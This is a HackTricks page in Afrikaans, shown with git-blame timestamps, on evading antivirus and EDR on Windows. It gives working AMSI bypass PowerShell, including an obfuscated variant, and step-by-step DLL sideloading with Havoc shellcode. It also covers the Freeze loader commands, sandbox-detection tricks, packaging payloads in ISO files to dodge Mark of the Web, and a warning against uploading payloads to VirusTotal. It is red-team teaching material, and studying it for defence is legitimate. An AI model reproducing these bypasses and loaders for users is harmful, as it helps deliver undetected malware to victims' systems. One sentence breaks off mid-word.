hacktricks/windows-hardening/av-bypass.md

569 lines
35 KiB
Markdown
Raw Normal View History

# Antivirus (AV) Omgang
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
Ander maniere om HackTricks te ondersteun:
2024-01-02 18:28:27 +00:00
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
2022-04-28 16:01:33 +00:00
2022-12-11 19:30:44 +00:00
</details>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
**Hierdie bladsy is geskryf deur** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
2022-04-28 16:01:33 +00:00
## **AV Ontwijkingsmetodologie**
2022-04-28 16:01:33 +00:00
Tans gebruik AV's verskillende metodes om te kontroleer of 'n lêer skadelik is of nie, statiese opsporing, dinamiese analise, en vir die meer gevorderde EDR's, gedragsanalise.
2022-04-28 16:01:33 +00:00
### **Stastiese opsporing**
2022-12-11 19:30:44 +00:00
Statiese opsporing word bereik deur bekende skadelike strings of reekse van bytes in 'n binêre of skripsie te merk, en ook inligting uit die lêer self te onttrek (bv. lêerbeskrywing, maatskappy naam, digitale handtekeninge, ikoon, kontrolesom, ens.). Dit beteken dat as jy bekende openbare gereedskap gebruik, kan jy makliker gevang word, aangesien hulle waarskynlik geanaliseer en as skadelik geïdentifiseer is. Daar is 'n paar maniere om hierdie soort opsporing te omseil:
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
* **Versleuteling**
2022-12-11 19:30:44 +00:00
As jy die binêre lêer versleutel, sal daar geen manier vir AV wees om jou program op te spoor nie, maar jy sal 'n soort laaier benodig om die program in geheue te ontsluit en uit te voer.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
* **Obfuskasie**
2022-12-11 19:30:44 +00:00
Soms hoef jy net 'n paar strings in jou binêre of skripsie te verander om dit verby AV te kry, maar dit kan 'n tydrowende taak wees, afhangende van wat jy probeer obfuskeer.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
* **Aangepaste gereedskap**
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
As jy jou eie gereedskap ontwikkel, sal daar geen bekende slegte handtekeninge wees nie, maar dit verg baie tyd en moeite.
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
'N goeie manier om teen Windows Defender se statiese opsporing te toets is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Dit verdeel basies die lêer in meervoudige segmente en vra dan Defender om elkeen individueel te skandeer, op hierdie manier kan dit jou presies vertel wat die gevlamde strings of bytes in jou binêre is.
2022-12-11 19:30:44 +00:00
{% endhint %}
Ek beveel sterk aan om hierdie [YouTube-afspeellys](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) oor praktiese AV-ontwykings te kyk.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
### **Dinamiese analise**
2022-12-11 19:30:44 +00:00
Dinamiese analise is wanneer die AV jou binêre lêer in 'n sandboks laat loop en vir skadelike aktiwiteit kyk (bv. probeer om jou blaaier se wagwoorde te ontsluit en te lees, 'n minidump op LSASS uit te voer, ens.). Hierdie deel kan 'n bietjie moeiliker wees om mee te werk, maar hier is 'n paar dinge wat jy kan doen om sandbokse te ontwyk.
2022-12-11 19:30:44 +00:00
* **Slaap voor uitvoering** Afhangende van hoe dit geïmplementeer is, kan dit 'n goeie manier wees om AV se dinamiese analise te omseil. AV's het 'n baie kort tyd om lêers te skandeer om nie die gebruiker se werkstroom te onderbreek nie, dus kan lang slaaptye die analise van binêre lêers versteur. Die probleem is dat baie AV-sandbokse die slaap kan ignoreer, afhangende van hoe dit geïmplementeer is.
* **Kontroleer van die masjien se hulpbronne** Gewoonlik het Sandbokse baie min hulpbronne om mee te werk (bv. < 2GB RAM), anders kan dit die gebruiker se masjien vertraag. Jy kan ook baie kreatief hier wees, byvoorbeeld deur die CPU se temperatuur of selfs die waaier spoed te kontroleer, nie alles sal in die sandboks geïmplementeer wees nie.
* **Masjien-spesifieke kontroles** As jy 'n gebruiker wil teiken wie se werkstasie aan die "contoso.local" domein gekoppel is, kan jy 'n kontrole op die rekenaar se domein doen om te sien of dit ooreenstem met die een wat jy gespesifiseer het, as dit nie doen nie, kan jy jou program laat afsluit.
2022-12-11 19:30:44 +00:00
Dit blyk dat Microsoft Defender se Sandboks-rekenaarnaam HAL9TH is, so, jy kan vir die rekenaarnaam in jou malware kyk voor detonasie, as die naam HAL9TH ooreenstem, beteken dit jy is binne die verdediger se sandboks, sodat jy jou program kan laat afsluit.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>bron: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
2022-12-11 19:30:44 +00:00
Sommige ander baie goeie wenke van [@mgeeky](https://twitter.com/mariuszbit) vir teen Sandbokse te werk
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
2022-12-11 19:30:44 +00:00
Soos ons voorheen in hierdie pos genoem het, sal **openbare gereedskap** uiteindelik **opgespoor word**, dus, moet jy jouself iets afvra:
2022-12-11 19:30:44 +00:00
Byvoorbeeld, as jy LSASS wil dump, **het jy werklik nodig om mimikatz te gebruik**? Of kan jy 'n ander projek gebruik wat minder bekend is en ook LSASS dump.
2022-12-11 19:30:44 +00:00
Die regte antwoord is waarskynlik die laaste. Neem mimikatz as 'n voorbeeld, dit is waarskynlik een van, indien nie die mees gevlamde stuk malware deur AV's en EDR's, terwyl die projek self super cool is, is dit ook 'n nagmerrie om daarmee te werk om AV's te omseil, soek net na alternatiewe vir wat jy probeer bereik.
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
Wanneer jy jou vragte vir ontwyking wysig, maak seker om **outomatiese monsterindiening af te skakel** in verdediger, en asseblief, ernstig, **MOET NIE NA VIRUSTOTAL OPLAAD NIE** as jou doel is om ontwyking op die lang duur te bereik. As jy wil sien of jou vrag deur 'n spesifieke AV opgespoor word, installeer dit op 'n VM, probeer om die outomatiese monsterindiening af te skakel, en toets dit daar totdat jy tevrede is met die resultaat.
2022-12-11 19:30:44 +00:00
{% endhint %}
## EXE vs DLL
Wanneer moontlik, **prioritiseer altyd die gebruik van DLL's vir ontwyking**, in my ervaring, word DLL-lêers gewoonlik **veel minder opgespoor** en geanaliseer, so dit is 'n baie eenvoudige truuk om te gebruik om opsporing in sommige gevalle te vermy (as jou vrag 'n manier het om as 'n DLL te hardloop natuurlik).
Soos ons in hierdie beeld kan sien, het 'n DLL-vrag van Havoc 'n opsporingstempo van 4/26 in antiscan.me, terwyl die EXE-vrag 'n opsporingstempo van 7/26 het.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me vergelyking van 'n normale Havoc EXE-vrag teen 'n normale Havoc DLL</p></figcaption></figure>
2022-12-11 19:30:44 +00:00
Nou sal ons 'n paar truuks wys wat jy met DLL-lêers kan gebruik om baie meer heimlik te wees.
## DLL Sideloading & Proxying
2022-12-11 19:30:44 +00:00
**DLL Sideloading** maak gebruik van die DLL-soekvolgorde wat deur die lader gebruik word deur beide die slagoffer-toepassing en die skadelike vragte langs mekaar te posisioneer.
2022-12-11 19:30:44 +00:00
Jy kan programme wat vatbaar is vir DLL Sideloading nagaan met behulp van [Siofra](https://github.com/Cybereason/siofra) en die volgende Powershell-skrip:
2022-12-11 19:30:44 +00:00
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
2024-02-11 02:07:06 +00:00
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
2022-12-11 19:30:44 +00:00
}
```
{% endcode %}
Hierdie bevel sal die lys van programme wat vatbaar is vir DLL-hijacking binne "C:\Program Files\" en die DLL-lêers wat hulle probeer laai, uitvoer.
2022-12-11 19:30:44 +00:00
Ek beveel sterk aan dat jy **DLL-hijackbare/sideloadbare programme self verken**, hierdie tegniek is redelik slu en as dit behoorlik gedoen word, maar as jy openlik bekende DLL-sideloadbare programme gebruik, kan jy maklik gevang word.
2022-12-11 19:30:44 +00:00
Net deur 'n skadelike DLL met die naam wat 'n program verwag om te laai, te plaas, sal jou lading nie laai nie, aangesien die program verwag dat daar spesifieke funksies binne daardie DLL is. Om hierdie probleem op te los, sal ons 'n ander tegniek genaamd **DLL-proksiëring/doorstuur** gebruik.
2022-12-11 19:30:44 +00:00
**DLL-proksiëring** stuur die oproepe wat 'n program vanaf die proksi (en skadelike) DLL maak na die oorspronklike DLL, wat dus die funksionaliteit van die program behou en die uitvoering van jou lading kan hanteer.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
Ek sal die [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projek van [@flangvik](https://twitter.com/Flangvik/) gebruik.
2022-12-11 19:30:44 +00:00
Dit is die stappe wat ek gevolg het:
2022-12-11 19:30:44 +00:00
{% code overflow="wrap" %}
```
1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
```
{% endcode %}
Die laaste bevel sal vir ons 2 lêers gee: 'n DLL-bronkode-sjabloon en die oorspronklike hernoemde DLL.
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
{% code overflow="wrap" %}
2022-12-11 19:30:44 +00:00
```
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
```
{% endcode %}
2024-02-11 02:07:06 +00:00
Hierdie is die resultate:
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
Beide ons shellcode (geënkripteer met [SGN](https://github.com/EgeBalci/sgn)) en die proxy DLL het 'n 0/26 Opvangs tempo in [antiscan.me](https://antiscan.me)! Ek sou dit 'n sukses noem.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
Ek **beveel sterk aan** dat jy [S3cur3Th1sSh1t se twitch VOD](https://www.twitch.tv/videos/1644171543) oor DLL Sideloading kyk en ook [ippsec se video](https://www.youtube.com/watch?v=3eROsG\_WNpE) om meer te leer oor wat ons meer diepgaand bespreek het.
2022-12-11 19:30:44 +00:00
{% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze)
2022-12-11 19:30:44 +00:00
`Freeze is 'n loaikit vir die omseil van EDRs deur opgeskorte prosesse, direkte syscalls, en alternatiewe uitvoeringsmetodes te gebruik`
2022-12-11 19:30:44 +00:00
Jy kan Freeze gebruik om jou shellcode op 'n sluipende wyse te laai en uit te voer.
2022-12-11 19:30:44 +00:00
```
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender
```
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
Ontduiking is net 'n kat- en muisspel, wat vandag werk, kan môre opgespoor word, so moenie net op een instrument staatmaak nie, probeer indien moontlik om verskeie ontduikingstegnieke aan mekaar te koppel.
2022-12-11 19:30:44 +00:00
{% endhint %}
## AMSI (Anti-Malware Scan Interface)
AMSI is geskep om "[lêerlose malware](https://en.wikipedia.org/wiki/Fileless\_malware)" te voorkom. Aanvanklik kon AV's slegs **lêers op skyf** skandeer, dus as jy op een of ander manier ladinge **direk in die geheue kon uitvoer**, kon die AV niks doen om dit te voorkom nie, omdat dit nie genoeg sigbaarheid gehad het nie.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
Die AMSI-funksie is geïntegreer in hierdie komponente van Windows.
2022-12-11 19:30:44 +00:00
* Gebruikersrekeningebeheer, of UAC (verhoging van EXE, COM, MSI, of ActiveX-installasie)
* PowerShell (scripts, interaktiewe gebruik, en dinamiese kode-evaluering)
2024-02-11 02:07:06 +00:00
* Windows Script Host (wscript.exe en cscript.exe)
* JavaScript en VBScript
* Office VBA-makro's
2022-12-11 19:30:44 +00:00
Dit stel antivirusoplossings in staat om skripsiegedrag te inspekteer deur skripinhoud bloot te stel in 'n vorm wat beide onversleuteld en nie verduister is nie.
2022-12-11 19:30:44 +00:00
As jy `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` hardloop, sal dit die volgende waarskuwing op Windows Defender produseer.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
Let op hoe dit `amsi:` voorvoeg en dan die pad na die uitvoerbare lêer waaruit die skrip uitgevoer is, in hierdie geval, powershell.exe
2022-04-28 16:01:33 +00:00
Ons het geen lêer na skyf laat val nie, maar is steeds in die geheue gevang vanweë AMSI.
2022-04-28 16:01:33 +00:00
Daar is 'n paar maniere om om AMSI te kom:
2022-12-11 19:30:44 +00:00
* **Obfuskasie**
2022-12-11 19:30:44 +00:00
Aangesien AMSI hoofsaaklik met statiese opsporings werk, kan die wysiging van die skripte wat jy probeer laai 'n goeie manier wees om opsporing te ontduik.
2022-12-11 19:30:44 +00:00
Nietemin het AMSI die vermoë om skripte te ontsluier selfs as dit meervoudige lae het, so obfuskasie kan 'n slegte opsie wees, afhangende van hoe dit gedoen is. Dit maak dit nie so eenvoudig om te ontduik nie. Alhoewel, soms is dit alles wat jy hoef te doen om 'n paar veranderlike name te verander en jy sal goed wees, dus dit hang af van hoeveel iets geïdentifiseer is.
2022-12-11 19:30:44 +00:00
* **AMSI-ontduiking**
2022-12-11 19:30:44 +00:00
Aangesien AMSI geïmplementeer word deur 'n DLL in die powershell (ook cscript.exe, wscript.exe, ens.) proses te laai, is dit moontlik om dit maklik te manipuleer selfs as 'n onbevoorregte gebruiker. As gevolg van hierdie fout in die implementering van AMSI het navorsers verskeie maniere gevind om AMSI-skandering te ontduik.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
**Forseer 'n Fout**
2022-12-11 19:30:44 +00:00
Die forsering van die AMSI-inisialisering om te misluk (amsiInitFailed) sal tot gevolg hê dat geen skandering vir die huidige proses geïnisieer word nie. Aanvanklik is dit bekendgemaak deur [Matt Graeber](https://twitter.com/mattifestation) en Microsoft het 'n handtekening ontwikkel om wyer gebruik te voorkom.
2022-12-11 19:30:44 +00:00
{% code overflow="wrap" %}
2022-12-11 19:30:44 +00:00
```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
{% endcode %}
2022-12-11 19:30:44 +00:00
Dit het net een lyn van powershell-kode geneem om AMSI onbruikbaar te maak vir die huidige powershell-proses. Hierdie lyn is natuurlik deur AMSI self geïdentifiseer, dus 'n bietjie aanpassing is nodig om hierdie tegniek te gebruik.
2022-12-11 19:30:44 +00:00
Hier is 'n aangepaste AMSI-omleiding wat ek geneem het van hierdie [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
2022-12-11 19:30:44 +00:00
```powershell
Try{#Ams1 bypass technic nº 2
2024-02-11 02:07:06 +00:00
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
2022-12-11 19:30:44 +00:00
```
**Geheue Patching**
2022-12-11 19:30:44 +00:00
Hierdie tegniek is aanvanklik ontdek deur [@RastaMouse](https://twitter.com/\_RastaMouse/) en behels die vind van die adres vir die "AmsiScanBuffer" funksie in amsi.dll (verantwoordelik vir die skandering van die gebruiker-gelewerde insette) en dit te oorskryf met instruksies om die kode vir E\_INVALIDARG terug te gee, op hierdie manier sal die resultaat van die werklike skandering 0 teruggee, wat geïnterpreteer word as 'n skoon resultaat.
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
2024-02-11 02:07:06 +00:00
Lees asseblief [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) vir 'n meer gedetailleerde verduideliking.
2022-12-11 19:30:44 +00:00
{% endhint %}
Daar is ook baie ander tegnieke wat gebruik word om AMSI met powershell te omseil, kyk na [**hierdie bladsy**](basic-powershell-for-pentesters/#amsi-bypass) en [hierdie bewaarplek](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) om meer daaroor te leer.
Of hierdie skripsie wat via geheue patching elke nuwe Powersh
## Obfuskasie
Daar is verskeie gereedskap wat gebruik kan word om **C#-tekskode te obfuskasie**, genereer **metaprogrammeringstempaltes** om bineêre lêers saam te stel of **obfuskasie saamgestelde bineêre lêers** soos:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuskator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Die doel van hierdie projek is om 'n oopbronvurk van die [LLVM](http://www.llvm.org/) samestellingsuite te voorsien wat in staat is om verhoogde sagteware-sekuriteit te bied deur [kode-obfuskasie](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) en knoei-vasheid.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstreer hoe om `C++11/14`-taal te gebruik om, tydens samestelling, obfuskeerde kode te genereer sonder om enige eksterne gereedskap te gebruik en sonder om die samesteller te wysig.
* [**obfy**](https://github.com/fritzone/obfy): Voeg 'n laag van obfuskeerde operasies gegenereer deur die C++-sjabloonmetaprogrammeringsraamwerk by wat die lewe van die persoon wat die aansoek wil kraak, 'n bietjie moeiliker sal maak.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is 'n x64 bineêre obfuskator wat in staat is om verskeie verskillende pe-lêers te obfuskeer, insluitend: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Metame is 'n eenvoudige metamorfe-kode-enjin vir willekeurige uitvoerbare lêers.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is 'n fynkorrelige kode-obfuskasieraamwerk vir LLVM-ondersteunde tale wat ROP (retour-georiënteerde programmering) gebruik. ROPfuscator obfuskeer 'n program op die samestellingskodevlak deur gewone instruksies in ROP-reekse te omskep, wat ons natuurlike konsep van normale beheerstroom dwarsboom.
2024-02-11 02:07:06 +00:00
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is 'n .NET PE Crypter geskryf in Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is in staat om bestaande EXE/DLL in skelkode om te skakel en dit dan te laai
2022-12-11 19:30:44 +00:00
## SmartScreen & MoTW
2024-02-11 02:07:06 +00:00
Jy het dalk hierdie skerm gesien wanneer jy sekere uitvoerbare lêers van die internet aflaai en uitvoer.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
Microsoft Defender SmartScreen is 'n sekuriteitsmeganisme wat bedoel is om die eindgebruiker te beskerm teen die uitvoer van potensieel skadelike aansoeke.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
SmartScreen werk hoofsaaklik met 'n reputasie-gebaseerde benadering, wat beteken dat ongewone afgelaaide aansoeke SmartScreen sal aktiveer en sodoende die eindgebruiker waarsku en verhoed om die lêer uit te voer (alhoewel die lêer steeds uitgevoer kan word deur Meer inligting -> Hoe dan ook uit te voer).
2022-12-11 19:30:44 +00:00
**MoTW** (Mark of The Web) is 'n [NTFS Alternatiewe Datastroom](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) met die naam van Zone.Identifier wat outomaties geskep word tydens die aflaai van lêers van die internet, saam met die URL waarvan dit afgelaai is.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (237).png" alt=""><figcaption><p>Kontroleer die Zone.Identifier ADS vir 'n lêer wat van die internet afgelaai is.</p></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
Dit is belangrik om te let dat uitvoerbare lêers wat met 'n **vertroude** ondertekeningsertifikaat **SmartScreen nie sal aktiveer nie**.
2022-12-11 19:30:44 +00:00
{% endhint %}
'N Baie effektiewe manier om te voorkom dat jou vragte die Mark of The Web kry, is deur hulle binne 'n soort houer soos 'n ISO te verpak. Dit gebeur omdat Mark-of-the-Web (MOTW) **nie** op **nie-NTFS** volumes toegepas kan word nie.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (640).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is 'n gereedskap wat vragte in uitvoerhouers pakketteer om die Mark of the Web te ontduik.
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
Voorbeeldgebruik:
2022-12-11 19:30:44 +00:00
```powershell
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
+ o + o + o + o
2024-02-11 02:07:06 +00:00
+ o + + o + +
o + + + o + + o
2022-12-11 19:30:44 +00:00
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
2024-02-11 02:07:06 +00:00
:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
2022-12-11 19:30:44 +00:00
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
2024-02-11 02:07:06 +00:00
o + o + +
2022-12-11 19:30:44 +00:00
[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
2024-02-11 02:07:06 +00:00
Adding file: /TotallyLegitApp.exe
2022-12-11 19:30:44 +00:00
[+] Generated file written to (size: 3420160): container.iso
```
Hier is 'n demonstrasie om SmartScreen te omseil deur ladinge binne ISO-lêers te verpak met behulp van [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
2022-12-11 19:30:44 +00:00
2022-12-11 21:29:51 +00:00
<figure><img src="../.gitbook/assets/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
2024-02-11 02:07:06 +00:00
## C# Monteer Refleksie
2022-12-11 19:30:44 +00:00
Die laai van C# binêre lêers in geheue is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitation-gereedskap uit te voer sonder om deur AV gevang te word.
2022-12-11 19:30:44 +00:00
Aangesien die lading direk in geheue gelaai sal word sonder om die skyf aan te raak, sal ons slegs oorweging hoef te maak oor die lap van AMSI vir die hele proses.
2022-12-11 19:30:44 +00:00
Die meeste C2-raamwerke (silwer, Covenant, metasploit, CobaltStrike, Havoc, ens.) bied reeds die vermoë om C# monteer direk in geheue uit te voer, maar daar is verskillende maniere om dit te doen:
2022-12-11 19:30:44 +00:00
* **Vurk\&Voer**
2022-12-11 19:30:44 +00:00
Dit behels **die skep van 'n nuwe offerproses**, inspuit jou post-exploitation skadelike kode in daardie nuwe proses, voer jou skadelike kode uit en wanneer klaar, maak die nuwe proses dood. Hierdie metode het sowel sy voordele as sy nadele. Die voordeel van die vurk en voer metode is dat uitvoering plaasvind **buite** ons Beacon implantaatproses. Dit beteken dat as iets verkeerd gaan of gevang word in ons post-exploitation-aksie, is daar 'n **veel groter kans** dat ons **implantaat oorleef.** Die nadeel is dat jy 'n **groter kans** het om gevang te word deur **Gedragsopsporing.**
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
* **Inline**
Dit gaan daaroor om die post-exploitation skadelike kode **in sy eie proses** in te spuit. Op hierdie manier kan jy vermy om 'n nuwe proses te skep en dit te laat skandeer deur AV, maar die nadeel is dat as iets verkeerd gaan met die uitvoering van jou lading, is daar 'n **veel groter kans** om **jou sein** te verloor aangesien dit kan afkraak.
2022-12-11 19:30:44 +00:00
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
2022-12-11 19:30:44 +00:00
{% hint style="info" %}
As jy meer wil lees oor C# Monteer laai, kyk gerus na hierdie artikel [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) en hul InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
2022-12-11 19:30:44 +00:00
{% endhint %}
Jy kan ook C# Monteer **vanuit PowerShell** laai, kyk na [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) en [S3cur3th1sSh1t se video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
2022-12-11 19:30:44 +00:00
## Gebruik van Ander Programmeringstale
Soos voorgestel in [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), is dit moontlik om skadelike kode uit te voer met behulp van ander tale deur die gekompromitteerde masjien toegang te gee **tot die tolk-omgewing wat op die Aanvaller Beheerde SMB-aandeel geïnstalleer is**.
Deur toegang tot die Tolkbineêre lêers en die omgewing op die SMB-aandeel toe te laat, kan jy **willekeurige kode in hierdie tale binne die geheue** van die gekompromitteerde masjien uitvoer.
Die repo dui aan: Verdediger skandeer steeds die skripte, maar deur gebruik te maak van Go, Java, PHP ens. het ons **meer buigsaamheid om statiese handtekeninge te omseil**. Toetsing met lukrake onversleutelde omgekeerde dop skripte in hierdie tale het suksesvol bewys.
2024-02-11 02:07:06 +00:00
## Gevorderde Ontduiking
2022-12-11 19:30:44 +00:00
Ontduiking is 'n baie ingewikkelde onderwerp, soms moet jy rekening hou met baie verskillende bronne van telemetrie in net een stelsel, dus dit is baie moeilik om heeltemal onopgespoor te bly in volwasse omgewings.
2022-12-11 19:30:44 +00:00
Elke omgewing waarteen jy te staan kom, sal hul eie sterktes en swakhede hê.
2022-12-11 19:30:44 +00:00
Ek moedig jou sterk aan om na hierdie praatjie te kyk van [@ATTL4S](https://twitter.com/DaniLJ94), om 'n voet in die deur te kry vir meer Gevorderde Ontduikingstegnieke.
2022-12-11 19:30:44 +00:00
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
2024-02-11 02:07:06 +00:00
Dit is ook 'n ander goeie praatjie van [@mariuszbit](https://twitter.com/mariuszbit) oor Ontduiking in Diepte.
2022-12-11 19:30:44 +00:00
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
2024-02-11 02:07:06 +00:00
## **Ou Tegnieke**
### **Kyk watter dele Defender as skadelik beskou**
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat dele van die binêre lêer sal **verwyder** totdat dit uitvind watter deel Defender as skadelik beskou en dit aan jou sal opsplits.\
